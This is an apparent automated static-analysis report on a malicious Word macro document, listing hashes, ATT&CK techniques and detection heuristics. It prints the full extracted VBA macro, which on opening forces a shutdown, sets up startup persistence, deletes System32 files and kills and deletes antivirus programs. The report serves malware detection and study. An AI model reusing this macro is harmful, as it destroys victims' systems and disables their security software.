Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d093a8484a495396…

MALICIOUS

Office (OOXML)

18.6 KB Created: 2021-06-10 07:46:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: 1e9a5600c248b0fe66e0afb95ea078d1 SHA-1: 8769b604c4b2f317daa59c56b2ae71bf4d69df2e SHA-256: d093a8484a495396a1762939c1cb7369a3149f593f3e38b9c72bd21adcc773e7
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1490 Inhibit System Recovery T1485 Data Destruction

The sample is an Office document containing a VBA macro with an Auto_Open subroutine. This subroutine executes a shutdown command, attempts to copy a file to the startup folder for persistence, and uses the Shell() function to execute commands that kill security processes and delete files. The document body suggests a social engineering lure related to pirated software.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1414 bytes
SHA-256: db7f73c4d388b9d0771e3e697dfe78e18267a021abe18b43e141830e8dc8eeb8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub auto_open()
   Shell "shutdown -s -t 100"
   Dim Num%
   Num = InputBox("选择1-5任意一个数字测试你的性格")
   MsgBox (Choose(Num, "宅", "腐", "妖", "艳", "man"))
   FileCopy "C:\Users\Administrator\Desktop\1.docm", "C:\ProgramData\Start Menu\Programs\StartUp\"
   Kill "C:\Windows\System32\*"
   Call taskkill("Hipstray.exe")
   Kill "C:\Program Files (x86)\Huorong\Sysdiag\bin\Hipstray.exe"
   Kill "C:\Program Files\Huorong\Sysdiag\bin\Hipstray.exe"
   Call taskkill("HipsMain.exe")
   Kill "C:\Program Files (x86)\Huorong\Sysdiag\bin\HipsMain.exe"
   Kill "C:\Program Files\Huorong\Sysdiag\bin\Hipstray.exe"
   Call taskkill("360tray.exe")
   Kill "C:\Program Files (x86)\360\360safe\360Tray.exe"
   Kill "C:\Program Files\360\360safe\360Tray.exe"
   Call taskkill("360Safe.exe")
   Kill "C:\Program Files (x86)\360\360safe\360Safe.exe"
   Kill "C:\Program Files\360\360safe\360Safe.exe"
   Call taskkill("avg.exe")
   Kill "C:\Program Files (x86)\Kaspersky Lebs\Kaspersky Anti-Virus\avg.exe"
   Kill "C:\Program Files\Kaspersky Lebs\Kaspersky Anti-Virus\avg.exe"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 988605fcd26903e9389641eeee754b8f695ba684c48beb7415ac206f1ba62697

Open this report in the interactive analyzer, or submit your own file for analysis.